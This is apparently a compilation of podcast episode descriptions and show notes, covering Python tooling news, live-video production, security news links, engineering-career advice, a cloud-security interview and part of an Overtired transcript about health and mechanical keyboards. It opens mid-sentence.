“Hey, maybe we just call it Reynolds Stream Engine.” If we name after a founder, maybe we then may get canceled or killed. But I think they built something pretty remarkable. they went back to. They changed the way the database engines were built from a paradigm point of view. Usually when y
Topics covered in this episode: Backup Docker volumes locally or to any S3 Pyodide 314.0 Release nb-cli: A Command-Line Interface for AI Agents and Notebook Automation Hindsight Agent Memory That Learns Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python AWS Community Day Midwest tomorrow Wednesday the 24th in downtown Indianapolis, Six Feet Up is sponsoring and there are 2 Sixies presenting Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Finally, if you want an bonus digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Backup Docker volumes locally or to any S3 Via Bryan Weber (thanks Bryan!), who spotted it over on Virtualization HowTo. Find Bryan at bryanwweber.com. offen/docker-volume-backup is a lightweight companion container that backs up the volumes your apps actually depend on, then ships them somewhere safe. It's tiny: written in Go and about 25MB compressed, roughly 1/20th the size of the shell-based image (jareware/docker-volume-backup) that inspired it. Drop it into your docker compose file as a backup service, mount the volumes you care about as read-only, and you're off. Push backups to a pile of destinations: a local directory, plus any S3, WebDAV, Azure Blob Storage, Dropbox, Google Drive, or SSH-compatible target. Mix and match as many as you want in one run. Recurring cron-style backups in a Compose setup, or one-off backups straight from the Docker CLI. Production-friendly touches worth calling out: Rotates away old backups so you don't quietly fill the disk. GPG encryption for your archives. Notifications on finished and failed runs (so you find out about failures before you need the backup). Stop a container during backup for a consistent snapshot using a simple docker-volume-backup.stop-during-backup=true label, then auto-restart it. Run custom commands during the backup lifecycle (great for a database dump before the file copy). Docker Swarm support, plus arm64 and arm/v7 builds. Hello, Raspberry Pi homelab. Fun aside from Bryan: he searched our back catalog for this tool and the search came back so fast he thought it hadn't run. Love to hear it. Calvin #2: Pyodide 314.0 Release PEP 783 is the real news — Pyodide maintainers used to hand-build 300+ packages. Now anyone can publish Pyodide wheels to PyPI with cibuildwheel. The version jump from 0.29 to 314.0 is intentional — it now tracks the Python version, so 314.x = Python 3.14. Binary compatibility is locked per Python cycle, meaning packages you build today won't break on the next Pyodide release. sqlite3, ssl, and lzma are back in the default stdlib — no more await pyodide.loadPackage("sqlite3"). Bigger download, but a much smoother experience for newcomers. bigint precision bug is fixed — values above 2^53 were silently losing precision when crossing the Python/JS boundary. The new JsBigInt type makes the roundtrip correct. Worth flagging if anyone is doing numeric work in a browser app. Experimental TCP sockets in Node.js — you can now connect Pyodide to a real database (MySQL, PostgreSQL, Redis tested) when running server-side. Blurs the line between "Python in the browser" and "Python runtime anywhere Wasm runs." Michael #3: nb-cli: A Command-Line Interface for AI Agents and Notebook Automation From Piyush Jain (Jupyter and LangChain maintainer) on the Jupyter blog: nb-cli: A Command-Line Interface for AI Agents and Notebook Automation. nb-cli is an experimental, Rust-based CLI to read, write, execute, and search Jupyter notebooks. The premise: agents are great at CLIs but terrible at hand-editing the nested JSON in an .ipynb, so let them operate on the notebook from the outside instead of running inside it. Works with or without a Jupyter server. No server? It reads/writes .ipynb files directly and talks to kernels over ZeroMQ. Connected to a live JupyterLab, your edits show up instantly via Y.js (the same CRDT Jupyter uses). Smart output format: instead of token-heavy JSON or ambiguous plain markdown, it uses @@cell / @@output sentinels with inline metadata. Less wasted context, unambiguous structure, and it degrades gracefully on truncation. The payoff is composability. "Add a summary section and run it" becomes one shell pipeline instead of six agent tool calls. And nb search notebook.ipynb --with-errors returns only the failing cells, so the agent skips the cells that worked. Claude Code tie-in: it ships as an agent skill. npx skills install jupyter-ai-contrib/nb-cli and your agent can drive notebooks via nb. Out of jupyter-ai-contrib, which aims to become an official Jupyter AI subproject. Still early (crates.io is at v0.0.5), so kick the tires before anything load-bearing. See also marimo-pair. Calvin #4: Hindsight Agent Memory That Learns AI agents forget everything between sessions — Hindsight gives them persistent memory that learns over time Simple three-method API: retain(), recall(), reflect() — store, retrieve, and reason over memories TEMPR retrieval runs semantic, keyword, graph, and temporal search in parallel for accurate results Automatically consolidates related facts into durable observations instead of piling up duplicates pip install hindsight-all runs the entire server in-process; integrates with LangChain, LlamaIndex, Pydantic AI, CrewAI, and more Extras Calvin: Clanker: A Word For The Machine **Ponytail — You know him. Long ponytail. Oval glasses. Has been at the company longer than the version control** **Klangk: Multi-User AI Sandboxing, Collaboration and Coding Platform** Cursor announces Origin performative-ui to quick start your new idea Michael: Astral Joins OpenAI: The Interview SpaceX to acquire Cursor And OpenAI renews Open Source support Portuguese subtitles are now available for Talk Python courses DSF is hiring including Six Feet Up support Joke: Oh Babe…
Welcome to episode three of The Production Geeks! Streaming live from our Midtown Manhattan rooftop, we are diving into the complex engineering behind two massive, upcoming live events. In this episode, we talk about:• Upgrading our NYC studio with a cutting-edge 1.2mm pitch LED video wall for an international 4th of July celebration. We break down the realities of broadcast refresh rates, power circuits, and front-serviceable wall mounting.• Solving the extreme technical challenges of live streaming the first-ever 30-person fully electric passenger plane test flight. • How we are leveraging iPhones with the LU Smart app, bonding cellular connections with Starlink in mid-air, and programming a multi-second delay to keep ground and air cameras perfectly in sync.• Marrying live flight data (via JSON push/pull API) into Singular Live HTML graphics over a vMix switcher.Timestamps:0:00 - Introduction & Rooftop Margaritas1:40 - Project 1: 4th of July Tall Ships Live Stream5:22 - The Tech of LED Walls: Pixel Pitch & Refresh Rates7:37 - Powering & Mounting Heavy Studio LED Walls11:07 - Getting Seamless Visual Angles with LED Panels15:53 - Project 2: Streaming the First Electric Passenger Plane Flight17:27 - Networking, Starlink on Planes & Latency Delays20:18 - Integrating Real-Time Flight Data & Cloud Backups25:07 - The Nightmare of Starlink Port ForwardingWhether you're an audio listener or watching us via the new video podcast features on Apple Podcasts and Spotify, thank you for tuning in! Make sure to rate, review, and follow the show on your favorite platform.BRAND STORYTELLING | FULL SERVICE VIDEO PRODUCTIONProfessional Branded Video Production Storytelling Experts#SorrentinoMedia | Full-Service Video Production Company including LiveStreaming services232 Madison AvenueSuite 1002New York, NY 10016mike@sorrentinomedia.com (212) 203-8419www.SorrentinoMedia.com https://www.sorrentinomedia.com/contact-sorrentino-media#videoproduction We specialize in digital video content production.From green-screen instructional videos to unscripted digital series and live streams - we will make it interesting and make it pop. Anyone can say they are a production company - we have a broad portfolio of work that has delivered results. #podcast Productionhttps://www.sorrentinomedia.com/podcast-productionWe offer all podcast production services including recording, editing, and publishing.We are passionate about telling your audio stories and bringing them to life in a way that will resonate with your listeners. Whether you need full-service podcast production or our professional advice on which direction to take, we are excited to work with you!#mediatraining https://www.sorrentinomedia.com/media-trainingMichael Sorrentino has a solid track record in working with on-air personalities from reporters/anchors to thought leaders. If you have never been on camera, media training can get you up to speed in no time. If you are a seasoned TV guest, we will fine-tune your skills to make you the best guest you can be!#nyc #studios https://www.sorrentinomedia.com/our-production-studios At the heart of Manhattan, Sorrentino Media offers three production studios for rent that are ideal for anything from small shoots to full-scale productions. Located at 232 Madison Avenue, at the corner of 37th and Madison, we are just minutes from both Penn Station and Grand Central.Our studios are fully equipped with the latest in production technology and our experienced team is available to assist you with all your production needs. We offer teleprompters, green screens, cameras (HD and 4k options are available), lighting panels and audio equipment, including wireless options. We also have a separate control room for live streaming with 4k and HD multi-camera switching.Extra features include a hair and makeup room with a styling station, a Nespresso coffee maker, and a fridge stocked with water and small snacks.Whether you need a space for a photoshoot, commercial shoot, music video, or anything else, we have the space and equipment you need. Have a project in mind? Contact us today to learn more about our rates and availability for film studio rental in NYC.REMOTE VIDEO PRODUCTION KITS AVAILABLE https://www.sorrentinomedia.com/remote-video-productionREMOTE PRODUCTION TIPS: https://www.sorrentinomedia.com/remote-video-production-tips
SANS Internet Stormcenter Daily Network/Cyber Security and Information Security Stormcast
Continuing Scans for swagger.json https://isc.sans.edu/diary/Continuing+Scans+for+swaggerjson/33044/#comments Fake call detection on Android https://blog.google/security/android-fake-call-detection/ Anthropic's coordinated vulnerability disclosure dashboard https://red.anthropic.com/2026/cvd/ My Upcoming Classes https://www.sans.org/profiles/dr-johannes-ullrich
A lot of what we've been talking about lately is durable skills — the abilities that last regardless of how our tools and tech environment change. In today's episode, I want to step back from the AI conversation and focus on one of the most durable skills of all: feedback. We've all been on both the giving and receiving side, and we can probably count on one hand the times someone gave us feedback that genuinely drove a good change — that left us wanting to do better without feeling torn down. So how do we accomplish that kind of feedback, on both sides of the table? That's what this episode is all about. Start With Your Goal, Not Your Frustration: Before you give feedback, recognize that your gut impulse often comes from a negative emotion — frustration, feeling slighted, feeling disrespected. Those feelings are valid signals that something is off, but they aren't a sufficient reason to give feedback. Effective feedback is goal-oriented: ask yourself what you actually want to change before you say a word. Premature vs. Mature Feedback: Premature feedback is really about making sure someone knows how you feel — which can quietly turn into an attack so they share your pain. Mature feedback is forward-looking and aimed at improvement. Venting may give you catharsis in the moment, but if the behavior worsens or the relationship is damaged, the net outcome is negative. Why Asking for Feedback Changes Everything: Even hearing "can we meet for ten minutes, I have some feedback" measurably raises your heart rate and pushes you into a defensive state. But when you ask for feedback, your mind and body register that you're in control — same information, completely different physiological response. Make It Behavior-Based and Specific: Good feedback is about observable behavior — what a camera would have caught — not someone's core identity. If your feedback violates a person's self-concept (painting a competent engineer as incompetent), they have to change who they believe they are to accept it, and that gap rarely gets bridged in a 30-minute call. Use a Model — But Add the Intervention: The popular SBI model (Situation, Behavior, Impact) is a strong backbone, but it stops short. Don't just describe the past — partner with the person on what comes next. Think of it as SBI + Intervention: what can you commit to trying differently so the impact changes? That's where feedback becomes coaching. The Netflix Four A's: Aim to assist, make it actionable, show appreciation, and accept or discard. Lead with the intent to help, get specific about the behavior, appreciate the person's willingness and intent, and recognize that not every piece of feedback will be useful — both sides get to keep what's valuable and let the rest go. Receiving Feedback Well: When someone hands you messy, un-modeled feedback, you can walk them through the framework — "help me understand the situation, what behavior did you see, what was the impact?" People respect that you're engaging, shift into problem-solving mode, and give you more actionable feedback as a result. Episode Homework: Pay attention to patterns over time. One piece of feedback shouldn't be attached to your identity — but three or four that point in the same direction are worth introspecting on. Career development and feedback are two sides of the same door; walk through it and you grow.
Topics covered in this episode: CVE-2026-48710: A Maintainer's Perspective daily-stars-explorer Markdown to pdf with pandoc and typst postman2pytest Extras Joke Watch on YouTube About the show Brian #1: CVE-2026-48710: A Maintainer's Perspective Marcelo Trylesinski suggested by Lee Luocks Short version: users of Starlette: upgrade to Starlette 1.0.1 security professionals: we can't treat open source projects like corporations This top link is a Starlette security advisory with the title Missing Host header validation poisons request.url.path, bypassing path-based security checks The CVE apparently caused some negative press targeting starlette. However, “the vulnerability came from the application pattern and the deployment, never from something Starlette intended.” A quote from an OSTIF article: “This bug is a classic “responsibility gap” where if this maintainer didn't patch, thousands of exposed projects would have to individually secure their projects. In doing this work, they've voluntarily taken on the responsibility to protect the ecosystem from long-term systemic harm. As with all open source projects, they owed us nothing and could have left this to be everyone else's problem and took the extraordinary steps of helping the ecosystem.” Both X40 D-Sec and Ars Technica expected immediate fixes and responses from Starlette. That's not good. We can do better. Michael #2: daily-stars-explorer Explore the full history of any GitHub repository.
Ep 284 BBEdit 16 Searches for Text in Images, Adds Shortcuts Actions, and More JSON: 25 years Google Chrome Is Silently Downloading a 4GB AI Model! Here's the FIX! His entire Google account got permanently banned. Not just Drive. Gmail. YouTube. Every single service. Jabučnjak - David Pogue: Da mogu promijeniti povijest, izliječio bih Stevea Jobsa | Interview OS 26.5 Adds Encrypted RCS Messaging, Fixes Bugs Apple unveils new accessibility features, and updates with Apple Intelligence Recognition - Community - Apple Developer Apple Design Awards - 2026 finalists The App Store stopped over $2.2 billion in fraudulent transactions in 2025 Radu Dutzan: f u c k A p p l e ‘ s A p p R e v i e w -- This Is The Best Local Model Runner For Apple Silicon (oMLX) Indexing a year of video locally on a 5-year-old M1 Max with Gemma 4 31B AI didn't kill your junior pipeline. You did. | Andrew Murphy Turn on a Mac mini, Mac Studio, or iMac without pressing its power button - Apple Support No, Bambu Lab. You're Not Apple. You're MUCH Worse. Apple has open-sourced corecrypto, the foundational cryptographic library in Apple operating systems Apple in the Enterprise: A 2026 report card How did Apple make this work?? Zahvalnice Snimano 29.5.2026. Uvodna muzika by Vladimir Tošić, stari sajt je ovde. Logotip by Aleksandra Ilić. Artwork epizode by Saša Montiljo, njegov kutak na Devianartu
Topics covered in this episode: Dumb Ways for an Open Source Project to Die How to create a pylock.toml lockfile https://github.com/facebook/Lifeguard Choosing a Python Logging Library in 2026 Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Dumb Ways for an Open Source Project to Die Core categories The maintainer left The maintainer is still there Sabotage and capture The release pipeline broke Force majeure The world moved on The project split - Examples Bulma PRs still from 2023, issues and PRs with no maintainer response for years, last release 1.5 years ago diskcache Similar, got hired by OpenAI, crickets after that Brian #2: How to create a pylock.toml lockfile Tim Hopper Tim walks through using uv, pip and pdm to create pylock.toml files. Recommendation: use uv export --format pylock.toml -o pylock.toml He also has How to install from a pylock.toml lockfile with pip but the short version is: use -r because tools treat it like a requirements file Michael #3: https://github.com/facebook/Lifeguard Lifeguard is a static analyzer to detect Lazy Imports incompatibilities and ease the adoption overhead for Lazy Imports in Python. I'm more excited about lazy imports after my Cutting Python Web App Memory Over 31% experience Some Python patterns depend on imports executing immediately. For example: Module-level side effects — a module that registers a handler or modifies global state at import time will behave differently if that import is deferred. The registry pattern — a module that registers itself (e.g., adding to a global dict) when imported will silently fail to register under Lazy Imports. sys.modules manipulation — code that reads or writes sys.modules assumes prior imports have already executed. Metaclasses and __init_subclass__ — class creation side effects may depend on imports being resolved. Project Stage: Beta Lifeguard is in active development. We are aiming to be ready for general use by the Python 3.15 final release. Brian #4: Choosing a Python Logging Library in 2026 Ayooluwa Isaiah " which libraries matter, how they compare, where they overlap with the standard module, and when each one makes sense.” The slant with this article is the need to log json output, which seems reasonable as things like API entry and exit point logging will include json. Covered libraries standard library logging with a hat tip to python-json-logger Same site has a guide to setting up python-json-logger structlog Loguru Logbook picologging Some benchmarks with structlog, stdlib+json, and Loguru, with structlog coming out faster I liked the Loguru example I'm going to have to try @logger.catch and logger.exception() for easily logging exceptions and serialize=True to enable JSON output. Extras Brian: When Women Stopped Coding - Planet Money segment , spotted on BlueSky from Savannah Ostrowski Lean TDD is now leaner Still working on audio version, but some great changes in 0.7.1 version Ch 6, TDD Interpretations, move ATDD and some of BDD to chapter Ch 7, Change name to TDD with Teams: BDD and ATDD Ch 9, Lean TDD, streamline steps and chapter Ch 10, Change name to Lean TDD with Teams: Lean ATDD Ch 11, Lean TDD with AI, Add short discussion about guardrails and security Michael: New course: Python Web Security: OWASP Top 10 with Agentic AI All courses now with Spanish subtitles, see announcement Joke: Stop texting me
Guests: Gal Ordo, Co-founder & CPO @ Native Topics: In Episode 186, we debated 'Native vs. Third-Party' as a binary choice. Native seems to be a third-party vendor whose entire existence depends on the belief that cloud-native controls are superior. Does your platform validate the 'Cloud Provider' side of the debate (that their controls are enough), or does the fact that you exist prove the 'Third-Party' side (that native interfaces aren't enough)? A key argument against native controls is an AWS WAF and a Google Cloud Armor don't behave the same way. If your tool manages native controls across multi-cloud, how do you handle the 'lowest common denominator' problem? Do you dumb down the policy to fit all clouds, or do you expose the unique complexity of each one? GuardDuty and SCC produce similar but meaningfully different results. How do you abstract across that so an analyst or IR team isn't having to dig into the exact meaning of the different JSON fields in their output? We often say native tools are 'good enough' for 80% of use cases but lack the depth of specialized third-party vendors (like a dedicated CNAPP or DLP). By betting your company on orchestrating native controls, are you effectively betting that 'good enough' is the future of the market? What happens when a customer needs a feature that the CSP hasn't built yet? What fraction of your users are taking this from a "I'm 80% this one cloud, I need great coverage there and good enough elsewhere" vs "I'm truly multi-cloud" or even scarier "I have a workload that is active spanning clouds"? Do your customers push you towards helping with the kinds of SaaS platforms that SSPM vendors cover? If AWS and Google Cloud suddenly decided to make their native security UIs perfect and unified tomorrow, would your company cease to exist? Or is the complexity of the cloud strictly increasing, guaranteeing you job security forever? Related: Video version EP186 Cloud Security Tools: Trust the Cloud Provider or Go Third-Party? An Epic Debate, Anton vs Tim EP160 Don't Cloud Your Judgement: Security and Cloud Migration, Again! The Great Cloud Security Debate: CSP vs. Third-Party Security Tools native.security blog
If you're a software engineer right now, you likely feel like your world is changing overnight. We are writing half or less the amount of code that we wrote even a year ago, which represents a seismic, groundbreaking shift in our industry. For many of us, this career has always been engaging for deeply creative and intellectual reasons—and that excitement is still here. But our mental models of what it means to be a good engineer, and what it means to keep improving, have gone a little stale. In today's episode, I want to talk about a distinction that I believe will become the cornerstone mistake for seasoned engineers: confusing _practice_ with _adaptation_, and leaning on the wrong one at the worst possible moment. Two Surfaces Coming Into Contact: Picture your knowledge, skills, and toolset as one surface, and the actual state of the art as another. We've always known the surface area we could learn far exceeds what we can learn, which forces us to place bets on a learning strategy. What's changing is how fast that second surface is moving underneath us. Improvement by Practice vs. Improvement by Change: Practice is wielding what you've already adopted—smoothing out errors, building muscle memory, refining what you already know. Adaptation is fundamentally folding something new into your repertoire. Both are real forms of improvement, but they are not interchangeable. The Cornerstone Mistake for Senior Engineers: Later in your career, the time you spend adapting naturally goes down as you settle into practice. The biggest error I'm already watching engineers make is moving too quickly toward practice when the industry is loudly calling for adaptation instead. Inspect and Adapt—at the Right Altitude: Sprint retros were never really about getting marginally better at the thing you already do. The intent of "inspect and adapt" is to step up one level and examine the system. The trap is treating adaptation like a minor refinement—getting a little better at prompting—when it should mean asking whether you're thinking about prompting in the wrong way entirely. Question the Ratio, Not Just the Output: Real adaptation looks like asking whether you have the right mix of human and agent on a problem. Are you leaning on the agent for things you shouldn't, or failing to lean on it for the things you should? Have you genuinely thought about how sub-agents or an agent team are working the problem you're producing? A Spectrum, Not a Binary: On one end, you make micro-adjustments to your refinement process. On the other end of experimentation, you ask whether refinement—or even having engineers plan the work—is the right thing at all. The point isn't that practice is dead; it's that the industry is changing fast enough that the adaptive end of that spectrum deserves far more of your attention than it used to. Episode Homework: Take something you currently treat as a practice problem—"how do I refine tickets faster?"—and step up a level. Ask the adaptive version of the question instead: "Is refinement even the right thing anymore?"
If you've heard that your job in the agentic coding era is to "become a manager of agents," you may have noticed something doesn't quite fit. Most of us never trained to be managers, and frankly, that's not the role most engineers want. In today's episode, I unpack what that shift _actually_ means — it's closer to a tech lead or architect mindset — and zoom in on a specific interviewing and on-the-job skill that will help you stay employable: how you think about, talk about, and take ownership of failure. Don't Just Bring Star Stories — Bring Failure Stories: Interviewers don't only want to hear how you succeeded. They want to know what you do when the pressure's on and things fall apart. If every story you tell is a highlight reel, there's a built-in social signal that you're hiding something. Get comfortable telling the other kind of story. Identify the Real Problem, Not the Proximal One: The most common failure story I hear in interviews is "the knowledge transfer was bad" or "the docs weren't good." That's not wrong — it's just incomplete. The senior mindset asks why that happened. Why didn't we have docs? Why was context insufficient? Walk it back until you hit something actionable but not too abstract. The Systemic Diagnosis is the Leveled-Up Answer: Fixing the proximal cause fixes this instance. Fixing the root cause fixes the system that keeps producing instances like this. When you connect what you learned to a systemic adjustment, you stop sounding like someone who survived a bad project and start sounding like someone who improves the organization around them. Ownership Means Owning the Outcome, Not the Task: Use the homeowner metaphor. A homeowner doesn't personally fix every leaking pipe — but the outcome of the home is theirs. As an engineer, your scope of ownership has expanded dramatically in the agentic era. You're now responsible for outcomes of code you may not have even read, and the deciding skill is how you carry that responsibility. The Word to Pair With Ownership is Relentlessness: Not in an anxious, burn-yourself-out way. Relentlessness means following a thread to its natural end — through escalation, through asking the next question, through finding the right person if it's not you. It's the antidote to "I'll let someone else handle it" syndrome. You Don't Have to Do It All Yourself: Relentless ownership is not "carry every task across the finish line personally." If you're not qualified, the owner's job is to find who is, communicate risk to stakeholders, and keep the trail alive until the outcome is resolved. That's the differentiator between a senior thinking engineer and a junior one working through assigned tickets. Failure Is Usually a Lapse in Ownership: If you make a list of five things you've failed at (and you should), you'll often find the through-line isn't lack of skill — it's that you stopped escalating, stopped following up, stopped staying with the thing until it was actually resolved. Episode Homework: Write down five real failures. For each one, ask: where did I stop being relentless? What system produced this outcome — and what would I change upstream next time?
Brett records an episode without Christina and Jeff and chats with Melissa Davis (The Mac Mommy) about her start as a mommy blogger and longtime Mac podcaster, her tech-support work, and the strange lack of closure when online friends disappear. They trade mental-health and chronic-illness updates, Adderall vs. Vyvanse, difficulty finding curious doctors, and being labeled “worried well.” Don’t worry, they nerd out on mechanical keyboards, Karabiner, and remapping keys. GrAPPtitudes include Bartender 6 Pro, Sortio for AI tagging, Sketch Party TV, and Karabiner. Sponsor OneSkin improves your skincare routine with science-backed skin care products. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/OVERTIRED. Chapters 00:00 Meet Melissa Davis 00:56 Early Podcast Days 02:20 Tech Support Seniors 05:52 Digital Legacy Work 06:50 Sponsor: OneSkin 08:14 Mental Health Check In 08:34 Insomnia And Focus 13:19 Doing Time Tracker 16:04 Suspenders And Stenosis 20:18 Mobility And Home Hacks 22:10 Melissa Health Update 23:25 ADHD Meds And Mutations 25:25 Curious Doctors Matter 27:59 Vyvanse Vs Adderall 30:26 Tracking Mood With Data 32:27 Cane And Somatic Therapy 36:09 Somatics For EDS 36:50 Yoga Modifications 38:19 Polycystic Liver Shock 39:20 Fatphobia In Healthcare 40:56 Pole Dancing Reality Check 41:55 Mechanical Keyboard ASMR 45:56 Nail Art And Picking 49:09 Keyboard Layout Rabbit Hole 01:00:59 Shortcuts And Muscle Memory 01:03:12 GrAPPtitude App Picks 01:14:07 Karabiner Power Tips 01:17:30 Wrap Up And Thanks Show Links hEDS Doing Timing Royal Kludge Keyboard Gamakey Silent Linear Switches EPOMAKER Switch Benefit Section EPOMAKER AegisSil Keycaps Set SketchParty TV Karabiner Sortio Bartender Pro Day One Join the Conversation Merch Come chat on Discord! Twitter/ovrtrd Instagram/ovrtrd Youtube Get the Newsletter Thanks! You’re downloading today’s show from CacheFly’s network BackBeat Media Podcast Network Check out more episodes at overtiredpod.com and subscribe on Apple Podcasts, Spotify, or your favorite podcast app. Find Brett as @ttscoff, Christina as @film_girl, Jeff as @jsguntzel, and follow Overtired at @ovrtrd on Twitter. Transcript Nails and Keys with Melissa Davis (The Mac Mommy) [00:00:00] Meet Melissa Davis Brett: Hey, this is Brett Terpstra. I am without my usual cohorts, Christina and Jeff. Um, so I, I wanted to, you know, get a, get an episode out for all of you listeners, and I reached out to Melissa Davis, known as The Mac Mommy. Um, I don’t, I, I don’t know if they’re still known as The Mac Mommy, but in m- in my lifetime they have been. Um, Melissa, why don’t you introduce yourself, let people know, like, M-Ma- long time, like Mac personality, podcaster. Tell us where you came from. Melissa: Where did I come from? Outer space. Uh, I came from being a mom. I, I, I will admit, this is hard to admit, But I will admit I started out as a mommy blogger. That’s, like, kind of a bad word nowadays. Brett: back, back, yeah, this is way Back when Melissa: [00:01:00] Yeah. Early Podcast Days Melissa: so we’re talking, like… Well, my oldest is gonna be 20, Brett. My oldest is gonna be 20 this summer. End of, end of June he’ll be 20 years old. So that’s about how long I’ve been doing podcasting. I mean, I started, I started, like, when… Well, you know what? I started listening to Adam Christianson’s The MacCast Brett: But you know what? I started Sure. Like one of the very first podcasts, Yeah. Melissa: still, I still listen to him on the Mac Geek Gab. Like, his voice is just so soothing to me. I used to… Like, that was the f- Back when I had, I had, I remember I had, like, an old G4, uh, Quicksilver Mac, and in the stinky little back room of our old house. And I used to, I used to download the podcasts, burn them on a CD, put them in my Walkman, ’cause I didn’t have an iPod yet at the time. I wasn’t that… I was never really that cutting edge. And I’d burn them on a CD, I’d put the CD in my Walkman, and then I would sit and nurse, I would nurse my baby. I, [00:02:00] and I would have to tuck the, uh, the headphones, you know, I’d have the ear- the, the wired, kinda like I have now, uh, and tuck it behind my back, like, behind my shoulder, because otherwise he’d, like, yank on the cord. And I would just listen to podcasts while I nursed. And I… And then, uh, then I met Victor Cajiao, and I started just kind of being, like, a serial podcaster, showing up here and there, and then it just kinda grew from there. Tech Support Seniors Melissa: Um, and I do… So I do tech support. I’m an IT tech s- tech support person. I… People call me their computer guru. I mostly work with, uh, the senior population, our, our vintage people, which I, I’m slowly becoming one of them. We’re all, we’re all gonna go that way. Brett: I feel like anyone who does Mac tech support deals with probably an, a, a population that skews older. Melissa: Mm-hmm. Mm-hmm. Yeah, it’s actually, it’s actually more– I will say it’s actually more difficult to work with somebody younger. Like, especially people my age or people [00:03:00] that are like, say, in their sixties I consider pretty young, 70 even. Uh, yeah, so but it’s, you know, the people are so, so interesting. You can learn so much. I love working with this population because they’re like encyclopedias, and the stories they tell you and the things you learn, it’s pretty amazing. And I could just, I could just spend– I have actually spent all day with some of them. Some of us just have really great chemistry and, you know, it’s… They– I, I’m also– I have ADHD, that’s no secret. And I think when you get older, um, not– it doesn’t affect everybody, but I do see a lot of what could be either they, they have ADHD or it’s like a– Brett: they have Melissa: of creeps in and it’s just a natural process of aging, cognitive decline. So, yep. Brett: have a lot of patience. Sure. S- some of my, some of my most interesting relationships over the last 10 years have been with, uh, Mac users in their late 70s, [00:04:00] 80s. And, uh, like they’ve been– They’re very– Like, they’re definitely… The people that I’ve known have been technically capable and very interested in learning. That’s why they follow me. That’s how I meet them, right? They’re like, they read my blog, which is just all nerd stuff. And, and so they’re, they’re technically competent, and they’re doing things that I can only aspire to be doing in my 70s and 80s. Um, I had a guy who was writing his memoirs at, in between like mountain bike rides. And so here’s the thing, though, is when you, when you know someone online and they’re in their 80s and you stop hearing from them for a Melissa: Yes. Yes. Brett: you have to assume that they have passed on. and that is sad, and you never really get any closure because you don’t know their friends or family. You [00:05:00] never get like a notice, an obituary. You don’t, you don’t know where these people go, um, and you don’t know how to check in on them once your normal channels of communication are severed. Melissa: Yeah, we’re at that age where we probably start reading the obituaries. Like, I haven’t heard from so-and-so in a while. Let me check the obits." Brett: I had, I had– Before NVUltra went on for, what’s it, like five years now, uh, without a release, um, I had a project called BitWriter with David Halter. And Melissa: remember you mentioning that, yeah. Yeah, and you wondered. Mm-hmm. Brett: he stopped responding. Melissa: you find out any at all? Any, Any, concrete… Brett: Nothing. I have put feelers out everywhere I can think of. I have no idea what happened to him. Melissa: went Richard Simmons, huh? Brett: yeah. Yeah. With less Melissa: No contact. No contact. Aw. Digital Legacy Work Melissa: I, I’m lucky that, uh, in my line of [00:06:00] work, I do typically hear from the family if they’ve passed on, because I form kind of a bond with a lot of people. I, I typically don’t lose clients unless they die, so… Brett: and you have some, like, in real life connections to Melissa: Oh, yeah. Yeah, I do, I do both. I do… I have some clients where I’ve never met them in person, I’ve only ever done remote. Uh, and then, but most of my clients are, are local, the majority of them. But I, I still s- see them remotely too, so yeah. I’ve, I’ve actually been hired by some people, um, mostly I’ve had two male clients who they got a terminal illness, they knew they were terminal, and they followed me online and they pretty much hired me to take care of their surviving spouse. So that, that was… that’s a difficult thing, but I’m just honored that they chose me to, to help them out with that. So I’ve kind of been a bit of a digital undertaker in that regard. Sponsor: OneSkin Christina: I want to take a moment to share something that has significantly improved my skincare routine, OneSkin. [00:07:00] So we all have those days when our skin doesn’t feel its best, and I’ve certainly been in that boat, especially recovering from surgery. And I was tired of navigating through endless products that promised results, but often fell short. And that’s when I discovered OneSkin. It was founded by scientists dedicated to longevity, and this brand stands out for its commitment to real science over marketing hype. They tackle the fundamental question of how to actually slow down skin aging rather than just masking it. And their groundbreaking ingredient is, uh, ZeroS01, and it’s a proprietary peptide designed to help deactivate the damaged cells that contribute to aging skin. Since incorporating OneSkin into my routine, I’ve actually been noticing some improvements. My skin feels smoother. It looks more vibrant. Um, it’s definitely more moisturized, and so this is benefiting from its focus on supporting collagen and strengthening the skin barrier. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If [00:08:00] you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/overtired. That’s 15% off at oneskin.co/overtired using the code OVERTIRED. Thank you for supporting our show by checking them out Mental Health Check In Brett: Um, so do you wanna do a mental health Melissa: Sure. Brett: I, I know, I know you’ve listened to the show before. I know you know how this works. Melissa: how this works. Brett: Would you like to start? Melissa: I think I would like to hear you start, and then I’ll, I’ll add on Brett: that sounds good. Insomnia And Focus Brett: Um, so sleep continues to be a major issue for me. Um, I actually for four days in a row last week, I got eight hours of sleep a night, which was insane. I felt so good. Um- The first night… So I take [00:09:00] Lamictal for bipolar, and if I miss my evening dose, I crash and I sleep in the next morning, and I sleep soundly. Like, it’s the best sleep I can get. And then I wake up and all of a sudden the withdrawal kicks in, and then I’m shaky and dizzy for half an hour after I take the dose. Um, but that’s after, like, a solid night of sleep, and it never works two nights in a row. And, like, I’ve tried, like, maybe if I take Lamictal in the mornings instead of the evenings, maybe I’ll sleep through the night. It doesn’t work after that first missed dose. Um, but then I just, without making any changes in my lifestyle, started sleeping, and I thought finally after, like, two years of insomnia, I had turned a corner, because I can’t remember the last time I got eight hours of sleep for more than two nights in a [00:10:00] row. And then it ended, and then I was up. I’ve been up since 2:30 today. Melissa: I wondered, yep. Brett: I mean, I went to bed at 8:00, so that’s still 